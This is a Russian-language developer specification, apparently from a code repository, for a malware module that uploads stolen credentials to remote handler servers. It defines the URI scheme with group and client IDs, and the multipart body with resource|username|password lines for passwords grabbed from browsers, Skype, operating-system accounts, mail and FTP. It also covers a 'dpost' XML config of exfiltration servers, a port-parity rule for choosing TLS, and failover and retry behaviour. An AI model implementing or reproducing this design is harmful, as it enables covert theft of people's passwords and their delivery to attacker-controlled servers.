You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
69 lines
3.5 KiB
69 lines
3.5 KiB
2 Данные на сервер отправляются через HTTP POST-запросы. Между сервером и клиентом может стоять сколько угодно reverse-proxy, load-balancer и DNAT. Таким образом, нет никакого способа узнать ip-адрес клиента.
|
|
2.1 Каждый запрос содержит в URI три компонента разделённых символом "/" - тег группы, id клиента . Каждый POST имеет URI следующего формата:
|
|
/<group-tag>/<clientid>/81/
|
|
, где group-tag - тег группы, clientid - id клиента, 81 - код, обозначающий тип данных.
|
|
2.1.1 Тег группы - это произвольная строка состоящая из символов (a-z) и цифр (0-9). Параметр не чувствителен к регистру.
|
|
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentGroup)
|
|
2.1.2 Id клиента - это строка.
|
|
Модуль получает его от вышестоящей логики (функция Start, const ParentInfo* pParentData, pParentData->ParentID
|
|
2.2 Каждый ответ сервера может быть со следующими HTTP-кодами: 200 и 403. Ответ 200 всегда имеет тело с содержание "/1/" (content-type: text/plain), а ответ 403 используется если прислан не POST-запрос, тело POST имеет неизвестный формат или поля, URI неизвестного формата, или clientid неправильного формата.
|
|
3 POST-запрос имеет тело в формате multipart/form-data. И имеет следущие поля:
|
|
|
|
source - описание источника данных. К примеру, если это даннные из Skype, должно быть что-то вроде "skype passwords", от ОС - "OS passwords". И т.д и т.п.
|
|
data - длинный текст в кодировке UTF8.
|
|
|
|
Каждая строка предназначена для отдельного пароля, и состоит из трех полей, разделенных вертикальной чертой и завершающихся символом конца строки \n:
|
|
|
|
resource|username|password\n
|
|
|
|
Если собираются пароли с броузеров, то resource - это url.
|
|
К примеру, для броузера посылка может быть наподобие
|
|
|
|
http://gmx.com|jack|secretpassword\n
|
|
http://yahoo.com|jack1|secretpassword1\n
|
|
http://somesite.com|jack2|secretpassword2\n
|
|
|
|
Т.к. пароли могут собираться из разных источников, то в поле area должен быть идентификатор защищаемого паролем ресурса.
|
|
Для скайпа это будет
|
|
|
|
skype|jack|jackass\n
|
|
|
|
Для ОС - для профиля каждого пользователя отдельная строка
|
|
|
|
os|jack|hijack\n
|
|
os|john|hijohn\n
|
|
|
|
для почты будет имя pop3/imap сервера - если уместно и его можно сграбить; если нельзя - просто дублируется почтовый адрес
|
|
для ftp это будет url, типа ftp://ftp.com
|
|
|
|
|
|
итд
|
|
|
|
3. Конфиг со списком адресов для отправки данных выдается модулю вызовом Control() с аргументами:
|
|
Ctl = "dpost"
|
|
CtlArg = "содержимое конфига"
|
|
|
|
3.1. Конфиг представляет из себя простой xml в следующем формате:
|
|
|
|
<dpost>
|
|
<handler>http://11.22.33.44:8082</handler>
|
|
<handler>127.0.0.1:8083</handler>
|
|
</dpost>
|
|
|
|
Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу.
|
|
Если он не указан:
|
|
- если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS).
|
|
|
|
3.2. Отправка данных организуется следующим образом:
|
|
- выбирается первый из списка url
|
|
- к нему клеится uri запроса. Итоговый url будет (для заданного в примере конфига), например такой
|
|
|
|
http://11.22.33.44:8082/group_id/client_id/81
|
|
|
|
- выполняется http-запрос, получается ответ сервера
|
|
- если при выполнении запроса была ошибка (нет ответа сервера, или код ответа не 200), выбирается следующий url из конфига
|
|
- при успешной отправке, происходит выход из цикла отправки и завершение процедуры
|
|
- при неуспешной отправке по всем приведенным в конфиге адресам, есть 2 варианта:
|
|
- пауза на минуту, далее повтор попыток
|
|
- завершение цикла и выход из процедуры
|
|
Это решение остается на усмотрение разработчика.
|